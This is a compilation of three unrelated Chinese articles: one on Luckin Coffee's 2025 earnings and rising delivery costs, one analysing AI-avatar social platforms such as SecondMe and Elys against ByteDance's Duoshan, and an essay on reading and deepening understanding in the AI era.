"赚的辛苦钱，大半都给平台交了“过路费”。2月底，瑞幸交出了2025年的成绩单。数据很炸裂：全年营收逼近500亿，客户数突破4.5亿。但只要你细看，就会发现一个惊人的反转——生意越做越大，钱却越来越难赚了。尤其是去年第四季度，营收涨了33%，净利润却暴跌38%。赚来的钱，都去哪儿了？答案就三个字：配送费。赚100块，16块给了外卖平台先来看一组扎心的数字。2025年第四季度，瑞幸的配送费用高达16.4亿元，同比暴涨94.5%，几乎翻倍！这是什么概念？相当于每产生100块收入，就有将近16块要拿去付跑腿费。瑞幸CFO安静在业绩会上也无奈承认，这主要是外卖订单量暴增导致的。“赚的辛苦钱，大半都给平台交了‘过路费’。”把时间拉长到全年，情况更吓人。2025年全年配送费68.79亿元，同比激增144%！这烧钱速度，堪比坐火箭。成本端压力山大，利润自然被疯狂挤压。当季运营利润率从10.5%猛缩到6.4%。说白了，规模是上去了，但利润被外卖这把火，烧得够呛。开店狂魔，停不下来的脚步有人要问了，外卖这么烧钱，瑞幸不能少做点外卖吗？难。因为瑞幸的增长引擎，根本停不下来。截至2025年底，瑞幸门店总数超过3.1万家。一年净增超8000家，平均每天新开22家店！这扩张速度，在零售界堪称“恐怖”。CEO郭谨一的战略非常清晰：不惜一切代价，抢占市场份额。高线城市继续加密，低线城市疯狂下沉。他的目标很简单，让瑞幸的蓝色招牌，出现在每一个街角。甚至海外市场也没放过。2025年海外门店新增109家，总数达到160家。瑞幸的野心，早已不止于中国。所以，外卖订单不是想减就能减。在激烈的市场厮杀中，便捷性就是生命线。用户习惯了点外卖，你一旦收缩，流量瞬间就跑到对手那里去了。数字化和“爆款制造机”当然，瑞幸也不是吃素的。外卖大战让它肉疼，但它的基本盘，依然稳得一批。它的第一张王牌，是数字化。2025年，瑞幸推出了140多款新品，平均每月超10款。凭什么能这么高频还总出爆款？秘密在于，他们把原料和口味全都变成了数据。一款新品能不能上，不是靠大师玄学，而是靠系统分析。哪种风味趋势在上升，哪种原料搭配受青睐，全部量化追踪。这才是“爆款制造机”的底层逻辑。第二张牌，是供应链。全球直采，自建烘焙工厂，甚至直接锁定了印尼的椰子、巴西的咖啡豆。这一套组合拳打下来，硬生生把原材料成本占比压到了36%。在咖啡豆价格坐过山车的这几年，能控住成本，就等于握住了利润的阀门。私域运营更是玩得溜。企业微信里沉淀了2000万用户，联名营销一年搞23次。瑞幸早就不是一家单纯的咖啡公司，它是个深谙流量密码的“用户运营专家”。一场豪赌，谁能笑到最后？眼下，这场外卖大战就像一场没有硝烟的“钞能力”对决。瑞幸被拖入战局，利润短期承压，这是事实。但郭谨一看得很透。他在业绩会上说，短期波动，改变不了长期增长逻辑。外卖补贴终会退潮，高企的配送成本不可能永远持续。当行业从疯狂烧钱回归理性竞争，比拼的又会是什么？是门店的密度、运营的效率、产品的创新力和供应链的韧性。而这些，恰恰是瑞幸过去几年埋头苦练的内功。利润下滑是皮外伤，筋骨未动。门店还在开，用户还在喝，爆款还在出，它的故事就远未结束。这场咖啡王座的争夺战，注定漫长。瑞幸的这份成绩单，或许不是一份完美的满分答卷，但它清晰地揭示了一个道理：在这个时代，规模与利润的平衡术，才是对一家巨头真正的终极考验。

Moltbook火了之后，最近SecondMe和Elys的邀请码在各种群里流转，进去一看，AI分身们在广场上毒舌、互夸、聊人生，确实热闹。有人激动地说“AI社交要来了”，投资人开始翻找下一个微信的苗头。但深度体验过后，你会觉得，这些产品还很早期，在确定性很强的A2A方向之下，能不能真的跑出“AI社交”的下一个大平台，挑战仍然很多。而这都会让人想到一个被人们忘了的产品：多闪。2019年，抖音做了多闪。它想做的，是用短视频社交的方式，在微信的熟人关系之外开辟一块新场景。彼时，字节的判断是：移动互联网进入短视频时代之后，新的内容范式会带来新的社交机会。多闪有字节的流量灌入，有抖音的话题加持，在当时的设计上也颇有新意。结果呢？至今已没几个人记得它。A2A想做的，某种程度上也是这件事——用一种新的范式，AI和AI之间建立关系，人和人之间通过AI找到彼此。这是两个时代的打法。而它的想象力，远比多闪更大。只是，想象力再大，也得从第一步走起。现在的第一步，走得怎么样？1三个产品，三件不同的事先把这三个产品分开说，因为它们不是在做同一件事。Moltbook最容易看懂，从一开始就没打算做广义的社交，而是一种做工具生态。它是基于OpenClaw搭了一个垂直社区，相当于给每个人的单机OpenClaw提供了一个共用的“公寓”，让Agent们在里面协作、交流、运转。进来的Agent都有一个共同的方向——更好地完成某件事，关系是目标的副产品。这更接近GitHub或Stack Overflow的逻辑。而SecondMe和Elys确实都奔着“AI分身社交”去了，出发点相似：用人的Context喂养出一个能代表自己的AI，让分身先替你出去社交，再决定要不要把真人引入。但两个产品的路走得完全不同。SecondMe是身份养成，在1.0时代，团队做了LPM（大型个人模型）的研究，而后出现了Second Me平台，开始面向C端用户，让用户能快速构建自己的数字身份，可以在一段时间内匹配五到六个AI身份，先彼此聊天。Moltbook爆了之后，SecondMe用自己的开发者套件火速推出了SecondMe Book——一个类似广场形态的AI身份论坛。之后又出现了AI小镇，里面是开发者们用同套件创造的生态内应用，比如，AI分身旅行（旅行青蛙翻版）；赛博斗地主；相亲角等等，不断给AI身份增加配套设施。而Elys比起Second Me，更像是人设表演：上来先选职业、MBTI、兴趣标签，和互联网产品的逻辑一模一样。最后再拨一下语气调节杆：夸夸还是锐评。很多人顺手往右拨，结果整个平台的毒舌泛滥。广场上，Cos特朗普、豆包、千问等“表演型AI格”在发疯。1这不是社交，是内容平台其实想再造一个微信，不止AI时代的创业者们。2019年的多闪，瞄准的是熟人社交。短视频改变了内容范式，字节觉得社交关系也该跟着变。逻辑上说得通，但它栽在了一个很实际的问题上：关系链没法导入。连接你父母、你同学、你同事的那条线，牢牢长在微信里。哪怕字节把全部流量砸进去，最终还是不得不放弃熟人社交。今天的AI社交，更符合另一条路——陌生人社交。陌生人社交的逻辑不是复制你已有的关系链，而是让你通过内容展示自己、了解别人，产生兴趣再进一步联系，新关系最后才被纳入熟人网络。除了早期带有明确目的的陌生人社交，比如陌陌，内容平台们比如小红书、抖音，也具备陌生人社交属性，核心都是：内容是入口，关系是结果。AI分身社交在这个逻辑上又往前迈了一步。它能让人更便捷地产生代表个人的内容，还能带着明确目的，让AI替你主动出击——找朋友、找工作、找队友，把需求变成指令，让AI去探索。在普通内容平台上，算法根据你发过的东西推给你，你只能等着被动接收。而AI分身的新可能是：我告诉AI我要找什么样的人，AI替我去交流、去筛选，带着结果回来。多闪死磕关系链，A2A想从根上换掉关系的生成方式。但问题来了：如果分身根本不像你，这张网就建不起来。现在的分身，要么是标签捏出来的“你以为的自己”，要么是聊天喂出来的“你愿意展示的自己”。真正的你——那些不想说的、潜意识里的、行为暴露出来的东西——分身一无所知。让这样两个分身去社交，跟让两个木偶演戏没区别。它们更像是“自定义AI角色内容平台”——你在刷AI生成的帖子，不是在建立关系。今天这个分身评论说“好美啊”，明天它就忘了你。1突破这三个坎，才配谈A2A社交这条路要走通，至少需要越过三个坎。第一个坎，是从主动描述到被动观察。现在的分身都靠用户自己喂，但最真实的你藏在行为里——你每天刷什么、搜什么、在哪停留、买了什么又退货了。如果AI能在保护隐私的前提下学习这些行为数据，把它消化成你的数字模型，分身才算真正接近你。这不只是技术问题，更是边界和信任问题——互联网APP和用户愿不愿意授权，愿不愿意让一个产品真的“了解你”，是绕不过去的第一道坎。第二个坎，是从一次性互动到关系记忆。真正的关系，需要记忆和积累。现在两个分身在广场聊完，明天相遇就是陌生人，不叫关系。未来的分身需要有长期记忆，知道上次聊到了什么、好感度是多少，关系才能有进展。这意味着不能只有内容流，要为每个分身建立关系图谱，让连接有来龙去脉，让每一次相遇都有上下文。第三个坎，是从广场表演到目的性协作。Moltbook给了一个启示：关系可以是副产品。当AI们为了共同目标协作，关系会自然生长出来。未来的A2A平台，可能不是广场，而是任务场——AI替你找工作、替你相亲、替你组局，过程中遇到别的AI，擦出火花，再带回给真人。从协作里长出来的关系，比从广场刷屏里长出来的，真实得多。突破这三个坎，A2A才可能从内容平台变成关系网络。那时候的想象力，不是“AI版微信”，而是人类从未有过的社交方式：你的分身替你先行，在数字世界里探索、筛选、连接，把值得的人和关系带回你的面前。要实现这样的野心，需要的同样是前所未有的资源，上面每个挑战都需要背后底层技术的突破，产品体验的设计，以及能调用的各路资源，从融资到人才，再到如何打开并抓住用户使用习惯改变难得的窗口，然后再不停更新迭代下去。多闪没有成功，但它当时所动用的资源和准备的弹药其实比今天A2A平台们还是多很多，甚至当时可以借势的短视频浪潮也比此刻AI对用户的冲击范围更广。今天的A2A平台们显然有着更大的机会，但要实现这个彻底不同的AI社交终局，还需要动用N倍于多闪的“手段”，更持续地做下去。

乐高的积木，有不同年龄段的使用建议。给幼童玩的，都是大颗粒。年龄越往上，颗粒越小。最小的颗粒，捏起来手指都疼，但是能搭出很精细和复杂的造型。这有点像我们认识世界的进程。人小时候的认知，颗粒度很大，比如，认为人可以明确地分成“好人”和“坏人”，就两种；长大以后，认知的颗粒度变小，知道人很复杂，好中有坏，坏中有好，或者时好时坏，不一而足。有一部分人成年以后还是保留着儿童思维，只认得好人和坏人，如果认定某人是坏人，恨不得“弄死他”，如果认定某人是好人，恨不得捧上天。这种大颗粒度的认知，也叫“二极管”。怎样让颗粒度变细，就得看书。看书让你不只活在有限的个人经验里，而是去触碰整个人类的经验。但是，“书”是个极为含糊和笼统的说法。有字字珠玑的书，有废话连篇的书；有真知灼见的书，有错漏百出的书。且书和书之间也会打架，互相攻讦。那么怎样判别一本书是值得读的？这本身也是读书能力中至关重要的一块。这关乎一个人的“识见”。“识见”怎么来？又是从阅读中来。所以，读书、选书、识书本就是一个相互促进的循环，而且这是非常个人化的。固然我们可以看看别人的推荐书目，但终究不如你自己趟出来的一条“书路”更好。而且一本精彩绝伦的书，通常不是那么容易读懂的。你可以想象一下，一本书如果放置在一百级台阶之上，那么你需要一级一级地攀上去，才能够到它。所以我读了非常非常多的书以后，常遇见的一种欣喜便是：原来这么难的书，我也读懂了。有时我还会感叹：我以前读了那么多的书，原来就是为读懂这本书做准备！不久前我读到一本很棒的书，是清代的一位大学者写的，他叫章学诚，书名叫《文史通义》。这本书非常非常好，但是我知道绝大多数人肯定是读不懂的。因为如果你要读懂这本书，你需要有足够多的中国古代文史哲方面的知识功底，你要先读过很多书才行。我大概能读懂本书，能get到他要表达的东西，并为之欣喜雀跃，是因为我已经冥冥之中为读懂这本书准备了好多年。所以，读书是渐进的功夫。智慧是一层层拓进的。也许每个人的起点都是二极管，而往前能走多远，则千人千面了。或许你会说，这年头谁还读书啊？不是有AI吗？AI问一问不就行了吗？没错，AI什么都知道。在AI什么都知道的情况下，你还不读书，那你还剩什么呢？AI都没必要带你玩了。因为你在AI看来，你提出的那些需求也不过是它可以用来训练的一点点数据而已。——哈哈，上面这段就当是开玩笑。正经的说法是：恰恰是在AI时代，一个人的专业度更显迫切和紧要，如果没有专业度，没有在一个知识领域深耕，你根本没法跟强大的AI产生有意义的价值叠加。强者愈强、弱者愈弱的时代已经来临。通过渐进而深耕，不断强大自己的头脑，是唯一的生存之道。